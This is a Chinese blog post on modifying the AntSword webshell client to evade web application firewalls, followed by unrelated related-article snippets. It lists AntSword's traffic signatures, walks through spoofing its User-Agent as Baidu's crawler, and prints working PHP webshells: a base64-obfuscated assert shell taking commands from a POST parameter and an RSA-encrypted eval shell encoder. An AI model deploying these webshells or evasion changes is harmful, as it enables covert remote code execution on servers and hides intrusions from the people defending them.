蚁剑修改特征性信息

 前言

我们首先得知道蚁剑的流量特征:

  1. 编码器和解码器的特征:蚁剑自带的编码器和解码器具有明显的特点,可以通过更改配置文件来达到流量加密的目的1。例如,蚁剑支持多种编码方式,如base64、chr、rot13等,这些编码方式虽然可以对数据进行加密,但在数据包中仍然存在一定的特征。

  2. UA头特征:蚁剑的User-Agent头部具有特定的版本标识,例如antSword/v2.1,这是一个很明显的特征,可以通过更改UA头来进行伪装。

  3. Webshell静态特征:蚁剑在不同的服务器端语言中使用特定的函数执行代码,如PHP中的asserteval,ASP中的eval,以及JSP中的Java类加载(ClassLoader)等。

  4. 动态流量特征:蚁剑的动态特征包括请求体和响应体的特定格式。例如,请求体通常以@ini_set("display_errors","0");@set_time_limit(0);开头,而响应体则可能是经过base64编码和混淆字符处理的格式。

  5. 参数名特征:蚁剑的流量中,参数名往往以_0x.....=的形式出现,这种特定的参数名格式可以作为识别蚁剑流量的一个特征。

  6. 流量加密和代理中转:蚁剑可以通过代理工具和自定义加密方法来进一步隐藏其流量特征,使得流量分析和检测变得更加困难。

  7. RSA编码器:从AntSword v2.1.0版本开始,蚁剑新增了PHP RSA编码器,这可以用于生成加密的PHP shell代码,进一步增强了流量的隐蔽性。

这篇文章将通过简单修改蚁剑的UA来绕过WAF。

修改位置

  • 蚁剑代理通道修改

  • UA特征伪造

  • RSA流量加密

 具体操作

1.蚁剑代理通道修改

蚁剑代理通道设置(前提是必须有这个代理):

图片

2.UA特征伪造

蚁剑默认UA:

图片

主要修改的位置:

/modules/request.js

这边主要是推荐百度UA,具体自己可以百度下其他UA,都可以根据需要来进行设置:

Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)

原来的UA:

图片

UA修改后(百度UA爬虫):

图片

/modules/update.js

同样的方法,将UA头修改为百度爬虫:

修改前:

图片

修改后UA头:

图片

通过以上修改后,抓包查看:

图片

3.RSA流量加密

蚁剑从2.1开始支持了RSA加密算法,但是仅仅支持php。
在我们隐藏流量中无非就是采用对称密钥加密和非对称密钥加密。

<?php $k=base64_decode('YXNzZXJ0'); $k($_POST['cmd']); ?>
 

注意这里YXNzZxJ0 base64解密为assert,eval不可以。因为eval属于语言构造器,在php中不能来回调,类似call_user_function()。

其中数据请求包中存在eval关键字,还是容易被waf检测到,所以UA头一定要记得修改。

采用RSA加密

新建一个rsa编码器

<?php$cmd = @$_POST['ant'];$pk = <<<EOF-----BEGIN PUBLIC KEY-----MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCjQSEjYvGaB7q7G5bjKs2b+v34XZ5/XhHDScxpv88C+fDv6IwxErr0kwcOp+an21tTtRF7Wl4MbEksL6wE3PNPt39k8i4PBfg51IjBYOmer8AHqr9qyDZq5XgK65yOCWsOIN8+fuP7DtvRxfTFoBNK6O3NeAKyYF0SRzIqPz8CvwIDAQAB-----END PUBLIC KEY-----EOF;$cmds = explode("|", $cmd);$pk = openssl_pkey_get_public($pk);$cmd = '';foreach ($cmds as $value) {  if (openssl_public_decrypt(base64_decode($value), $de, $pk)) {    $cmd .= $de;  }}eval($cmd);
 

图片

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/525123.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

海量智库 | ANY权限原理介绍

ANY权限是Vastbase中的一种特殊的管理权限&#xff0c;用户能够通过ANY权限执行更广泛的操作&#xff0c;更加便利的管理数据库。 本文将为您介绍ANY权限管理的相关原理。 ANY权限管理相关解释 ANY权限管理&#xff0c;是对数据库内的某一类对象的所有实体进行特定的权限管理…

【C++】继承总结

一、前言 我们众所周知的C三大特性分别为&#xff1a;封装、继承、多态。 封装就是将接口实现统一化&#xff0c;隐藏那些不同的地方&#xff0c;在上层函数调用体现的方式一样&#xff0c;如各种容器的迭代器iterator&#xff0c;尽管底层实现的方式不同&#xff0c;但是在使用…

C++数据结构与算法——贪心算法简单题

C第二阶段——数据结构和算法&#xff0c;之前学过一点点数据结构&#xff0c;当时是基于Python来学习的&#xff0c;现在基于C查漏补缺&#xff0c;尤其是树的部分。这一部分计划一个月&#xff0c;主要利用代码随想录来学习&#xff0c;刷题使用力扣网站&#xff0c;不定时更…

安全加固方面思路

系统层面上的加固 备份重要配置文件&#xff1a;将一些重要的系统配置文件备份&#xff0c;包括 /etc/login.defs、/etc/security/limits.conf 等等。进行账号安全加固&#xff1a;修改密码安全策略&#xff0c;设置密码存在最长时间、密码长度、密码过期提醒等。 &#xff08…

Linux设备模型统一:桥接硬件多样性与应用程序开发的关键

在Linux的宏大世界中&#xff0c;各种各样的硬件设备如星辰般繁多。从常见的USB设备到复杂的网络接口卡&#xff0c;从嵌入式设备到强大的服务器&#xff0c;Linux需要在这些差异极大的硬件上运行。这就引出了一个问题&#xff1a;Linux是如何统一这些不同硬件的设备模型的呢&a…

Android 11 上的文件读写无权限问题

Android 6以上需要动态申请读写权限&#xff0c;但是11以上动态申请了读写权限也是无效。并且手动给予权限没有该按钮。 如上图华为钱包有个所有文件权限、但是百度地图只有仅媒体权限&#xff0c;仅媒体权限&#xff08;动态申请读写权限&#xff09;给予后软件还是没法访问文…

Linux中安装nacos

Linux中安装nacos 一、前言二、准备1、下载2、上传到服务器3、解压 三、配置1、备份配置文件2、导入sql3、修改前4、修改后 四、使用1、启动2、关闭 一、前言 最近国外的docker似乎是出什么问题&#xff0c;试过很多手段都拉不下 nacos 镜像&#xff0c;就打算在服务器装一下 …

10. 【Android教程】网格布局 GridLayout

今天要学的布局和上一节的 TableLayout 很类似&#xff0c;是在 Android 4.0 版本引入的布局方式。GridLayout 很有意思&#xff0c;自从引入之后在 Android 开发圈有以下特点&#xff1a; 大部分的开发者可能都不知道有这个布局方式的存在&#xff1b;有些开发者虽然知道&…

【智能算法】蛾群算法(MSA)原理及实现

目录 1.背景2.算法原理2.1算法思想2.2算法过程 3.结果展示4.参考文献 1.背景 2017年&#xff0c;AAA Mohamed等人受到飞蛾趋光行为启发&#xff0c;提出了蛾群算法&#xff08;Moth Swarm Algorithm, MSA&#xff09;。 2.算法原理 2.1算法思想 MSA设待优化问题的可行解和适…

Spring 如何优雅的灵活的Http重试

1、背景说明 在互联网时代&#xff0c; 不同系统之间大多数是通过http调用&#xff0c;调用过程中会超时、异常等过种问题。为了保证业务稳定&#xff0c;http 重试是常用方案。下面列举几种方案。 2、Http重试方案介绍 2.1 传统方案 1、使用传统的递归调用&#xff0c;实现方…

Java Lambda 表达式(详细)

Java Lambda 表达式 Lambda 的发展史 Java Lambda 表达式是在 Java 8 版本中引入的重要特性&#xff0c;它描述了一种更简洁、更灵活的方式来处理函数式编程。 在 Java 8 之前&#xff0c;要实现函数式编程&#xff0c;需要通过匿名类实现接口的方式。这样的代码通常比较冗长…

R语言数据可视化:基本绘图系统

目录 plot函数 par函数 hist函数 boxplot函数 plot函数应用实战 R语言中有三大绘图系统包括基本绘图系统&#xff0c;Lattice绘图系统&#xff0c;ggplot2绘图系统 基本绘图系统 在R语言中&#xff0c;以下函数通常用于创建和定制图形&#xff1a; plot 函数&#xff…

VMware Intel i5-10400 安装Mac 14 Sonoma

目录 安装完后的效果安装前的准备创建虚拟机创建虚拟机&#xff0c;选择典型安装。选择ISO文件选择系统类型命名虚拟机设置磁盘完成 配置虚拟机文件修改配置文件 第一次运行虚拟机选择语言选择磁盘工具格式磁盘安装macOS Sonoma 其他问题登录Apple帐户 &#xff1a; MOBILEME_C…

Unity类银河恶魔城学习记录12-7-1 p129 Craft UI - part 1源代码

Alex教程每一P的教程原代码加上我自己的理解初步理解写的注释&#xff0c;可供学习Alex教程的人参考 此代码仅为较上一P有所改变的代码 【Unity教程】从0编程制作类银河恶魔城游戏_哔哩哔哩_bilibili UI_CraftList.cs using System.Collections; using System.Collections.Gen…

Composer Windows 安装

Composer 的下载地址为&#xff1a;Composer 1 运行安装程序 当启动安装程序后单击下一步继续。 选择 PHP 路径 如果你的计算机上没有安装 PHP 的话&#xff0c;Composer 的安装无法继续。 你需要选择你本地安装的 PHP 路径。 配置代理地址 默认的情况下&#xff0c;可以不…

一个项目的SpringCloud微服务改造过程

SSO是公司一个已经存在了若干年的项目&#xff0c;后端采用SpringMVC、MyBatis&#xff0c;数据库使用MySQL&#xff0c;前端展示使用Freemark。今年&#xff0c;我们对该项目进行了一次革命性的改进&#xff0c;改造成SpringCloud架构&#xff0c;并且把前后端分离&#xff0c…

ES6中 Promise的详细讲解

文章目录 一、介绍状态特点流程 二、用法实例方法then()catchfinally() 构造函数方法all()race()allSettled()resolve()reject() 三、使用场景# 参考文献 一、介绍 Promise&#xff0c;译为承诺&#xff0c;是异步编程的一种解决方案&#xff0c;比传统的解决方案&#xff08;…

四大生成式模型的比较——GAN、VAE、归一化流和扩散模型

比较四大模型的本质 four modern deep generative models: generative adversarial networks, variational autoencoders, normalizing flows, and diffusion models 待写

Android 14 NotificationChannels与Notification的加载流程

前言 这部分我觉得三方应用使用的较多&#xff0c;分析的时候也是源码与三方应用结合分析的。 一. NotificationChannel 的创建 在源码中&#xff0c;我看到了一个很怪的类&#xff1a;NotificationChannels.java。这个类继承了 CoreStartable。 注&#xff1a;CoreStartabl…

mysqldump: Got error: 1049: Unknown database ‘root‘ when selecting the datab

1.问题描述 MySQL版本号&#xff1a;MySQL Server 8.3MySQL持久化到处数据库结构及数据 mysqldump: Got error: 1049: Unknown database root when selecting the datab2.问题解决 cmd 切换本地路径 cd /d D:\Program Files\MySQL\MySQL Server 8.3\bin执行数据库备份命令 …